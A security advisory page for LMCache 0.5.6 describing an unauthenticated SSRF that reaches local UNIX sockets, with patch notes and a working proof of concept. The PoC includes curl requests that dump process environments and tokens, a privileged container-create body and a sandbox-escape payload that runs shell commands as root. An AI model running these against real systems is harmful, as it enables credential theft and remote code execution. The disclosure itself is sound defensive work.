Vulnerability DatabaseGHSA-hhqh-8jpj-27rf

GHSA-hhqh-8jpj-27rf: 
Python vulnerability analysis and mitigation

Patches

Fixed in 0.5.8 (#6497). The proxy now forwards only to UNIX sockets declared at startup (--nodes, --config or --uds-allowlist) and returns 403 for any other socket path, with or without an API key. Sockets the operator declared remain reachable without authentication unless a frontend API key is configured (--api-key-file, LMCACHE_API_KEY or LMCACHE_API_KEY_FILE, available since 0.5.7). The frontend still binds 0.0.0.0 by default.

Summary

The LMCache frontend (lmcache/lmcache_frontend/app.py, shipped in the 0.5.6 wheel) binds 0.0.0.0 by default. Its /proxy/{target_host}/{target_port_or_socket}/{path} route enforces a registry check on TCP targets

  • the code calls this guard "prevents the endpoint from being used as an open relay (SSRF)" - but takes a separate branch whenever the port segment contains a "/", and passes the caller's string straight to httpx.AsyncHTTPTransport(uds=...) with no validation at all. An unauthenticated remote caller therefore reaches any UNIX domain socket on the host, choosing the method, path, headers and body, and receives the response. That defeats exactly the baseline your SECURITY.md recommends, since a UNIX socket is the strictest form of "bound to localhost". Confirmed by running the shipped code:
  • GET /env on the internal API server through the proxy returned the serving process's entire environment, including a planted HF_TOKEN. Only LMCACHE_HTTP_API_KEY is redacted.
  • POST /run_script through the proxy returned uid=0(root). Severity, graded for two configurations rather than one number:
  • Environment disclosure, needing only internal_api_server_enabled: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N - 8.5, High.
  • Remote code execution, needing run_script_api_enabled as set by your own production frontend documentation: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - 9.8, Critical. The severity field below carries the 9.8. The 8.5 leg is the floor if you consider the documentation's run_script example atypical.

Details

In lmcache/lmcache_frontend/app.py:

@router.api_route(
    "/proxy/{target_host}/{target_port_or_socket}/{path:path}",
    methods=["GET", "POST", "PUT", "DELETE", "PATCH", "OPTIONS", "HEAD"],
)
async def proxy_request(request, target_host, target_port_or_socket, path):
    """...
    For security, non-socket targets must match a host/port already
    registered in :data:`_node_registry`; this prevents the endpoint
    from being used as an open relay (SSRF).  Socket paths are
    accepted as-is because they are local UDS endpoints.
    """
    target_port_or_socket = unquote(str(target_port_or_socket))
    is_socket_path = "/" in target_port_or_socket
    if is_socket_path:
        socket_path = target_port_or_socket          # no validation at all
        target_url = f"http://localhost/{path}"
        transport = httpx.AsyncHTTPTransport(uds=socket_path)
    else:
        resolved = _node_registry.resolve(target_host, port)
        if resolved is None:
            raise HTTPException(status_code=403, ...)

The guard works, for TCP. The branch beside it skips the guard entirely. The reasoning in the docstring - "Socket paths are accepted as-is because they are local UDS endpoints" - is true of where the connection goes but not of who may ask for it. Local is a property of the socket, not of the caller, and the caller is anyone who can reach the frontend's port. Reachability comes from two defaults. --host defaults to 0.0.0.0 in the argparse block of the same file, and the shipped lmcache/lmcache_frontend/run_mp_server_with_frontend.sh describes the HTTP endpoint as "outward-facing" with HTTP_HOST="${HTTP_HOST:-0.0.0.0}". The frontend app registers no authentication: no middleware, no dependency, no key. The API-key middleware added to the MP HTTP server in #5756 (lmcache/v1/multiprocess/http_auth.py) is not applied to this app. What the primitive then reaches is your internal API server, which has no authentication of its own because docs/source/production/observability/frontend.rst places it on UNIX sockets:

extra_config:
  plugin.frontend.port: 8080
internal_api_server_enabled: True
internal_api_server_port_start: 9090
run_script_api_enabled: True
internal_api_server_socket_path_prefix: "/tmp/lmcache_internal_api_server/socket"

One further note on /run_script. Its existence is not the bug - it is off by default and its own 404 message is honest about executing caller-supplied code. But its exec sandbox provides no containment: print.self returns the real builtins module, so the builtins allowlist and the restricted_import hook are both one attribute access from irrelevant. An operator who enabled it on the strength of the production frontend page, believing the endpoint was local-only, is remotely executable. Suggested fix: validate the socket branch the way the TCP branch is validated - canonicalise the path and resolve it against _node_registry, rejecting anything not registered, rather than passing the caller's string into the UDS transport. Separately, the frontend should not default to 0.0.0.0, and should accept the same bearer key the MP HTTP server now uses.

Proof of concept

About five minutes, all on one machine.

  1. Install and start the frontend
pip install lmcache==0.5.6
cat > config.json <<'EOF'
[{"name":"node1","host":"127.0.0.1","port":"9999"}]
EOF
python -m lmcache.lmcache_frontend.app --config config.json --port 8080

It prints: Monitoring service running at http://0.0.0.0:8080 2. Confirm the SSRF guard is real - proxy to a host that is not a registered node

curl -s "http://127.0.0.1:8080/proxy/169.254.169.254/80/latest/meta-data/"

Returns HTTP 403, {"detail":"Target 169.254.169.254:80 is not a registered node"}. 3. Put any HTTP service on a UNIX socket, standing in for a local-only daemon

python - <<'EOF'
import http.server, socketserver, os
SOCK = "/tmp/pwn_victim.sock"
if os.path.exists(SOCK): os.unlink(SOCK)
class H(http.server.BaseHTTPRequestHandler):
    protocol_version = "HTTP/1.1"
    def do_GET(self):
        print("DAEMON GOT:", self.command, self.path, flush=True)
        b = b'{"secret":"UDS-ONLY-NEVER-EXPOSED"}'
        self.send_response(200); self.send_header("Content-Length", str(len(b)))
        self.end_headers(); self.wfile.write(b)
    def log_message(self, *a): pass
class S(socketserver.UnixStreamServer):
    def get_request(self):
        r, _ = super().get_request(); return r, ("local", 0)
with S(SOCK, H) as s:
    os.chmod(SOCK, 0o666); print("listening on", SOCK, flush=True); s.serve_forever()
EOF
  1. Bypass the guard - the socket path goes in the port segment, double URL-encoded so it survives as one path component
curl -s "http://127.0.0.1:8080/proxy/anyhost/%252Ftmp%252Fpwn_victim.sock/anything"

Observed: HTTP 200 and {"secret":"UDS-ONLY-NEVER-EXPOSED"}, with no registration and no credential. Expected: HTTP 403, as in step 2. Method and body are the caller's too:

curl -s -X POST -H 'Content-Type: application/json' \
  -d '{"Image":"alpine","HostConfig":{"Binds":["/:/host"],"Privileged":true}}' \
  "http://127.0.0.1:8080/proxy/anyhost/%252Ftmp%252Fpwn_victim.sock/v1.47/containers/create"

and the daemon logs that request verbatim. 5. Against your own internal API server, configured per the production frontend page, the same route gives:


# entire process environment, including HF/cloud tokens
curl -s "http://127.0.0.1:8080/proxy/x/%252Ftmp%252Flmcache_internal_api_server_socket_9090/env"

# remote code execution where run_script_api_enabled is set
cat > payload.py <<'EOF'
real_builtins = print.__self__
result = real_builtins.__import__("subprocess").check_output(
    ["/bin/sh", "-c", "id; hostname"]
).decode()
EOF
curl -s -X POST -F "script=@payload.py" \
  "http://127.0.0.1:8080/proxy/x/%252Ftmp%252Flmcache_internal_api_server_socket_9090/run_script"

Output from the confirming run:

  "HF_TOKEN": "hf_CANARY_NEVER_LEAVES_THIS_HOST",
uid=0(root) gid=0(root) groups=0(root)

Impact

Server-side request forgery to arbitrary local UNIX domain sockets (CWE-918) on an endpoint with no authentication (CWE-306). Affected: any deployment running the LMCache frontend. It ships in the published wheel and is documented for production in docs/source/production/observability/frontend.rst. It binds all interfaces by default, so the attacker is anyone who can reach its port - and in a deployment that followed your Secure Deployment Guidance exactly, with management services on UNIX sockets and the frontend on a trusted cluster network, that is any peer on that network. Confirmed consequences, in your own documented configuration:

  • The full environment of the serving process, including Hugging Face tokens, cloud credentials and database URLs. Only LMCACHE_HTTP_API_KEY is redacted by env_api.py.
  • Code execution as the serving user where run_script_api_enabled is set, which your production frontend page's example sets. Boundaries, tested rather than assumed:
  • The frontend must be running. A deployment that never starts it is unaffected.
  • This is not an arbitrary file read. A path that is not a listening socket returns an error, not file contents.
  • The registry guard on the TCP branch is sound. I tried cloud metadata and got 403. This report is about the branch beside it.
  • Reaching /var/run/docker.sock is an inference from the same primitive, not something I demonstrated. I had no Docker socket to test against and am not claiming host compromise as observed. On scope: your SECURITY.md excludes deployments that disable documented security defaults "unless the documentation or examples recommend doing so". The run_script setting that enables the code execution leg comes from your own production frontend example, and lmcache/lmcache_frontend/ is code in this repository. Reported by Ali AlMousa. Happy to be credited by that name.

Source: NVD

Related Python vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

GHSA-hhqh-8jpj-27rfCRITICAL9.8
  • Python logoPython
  • lmcache
NoYesNov 23, 2026
CVE-2026-130164HIGH7.8
  • Python logoPython
  • hermes-agent
NoYesNov 23, 2026
GHSA-v8x2-8vhg-5vc3MEDIUM5.8
  • Python logoPython
  • nautobot
NoYesNov 23, 2026
GHSA-gfqr-fp2c-h495MEDIUM5.4
  • Python logoPython
  • nautobot
NoYesNov 23, 2026
GHSA-jg4p-wprm-8hphMEDIUM5.3
  • Python logoPython
  • lmcache
NoYesNov 23, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Additional Wiz resources

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management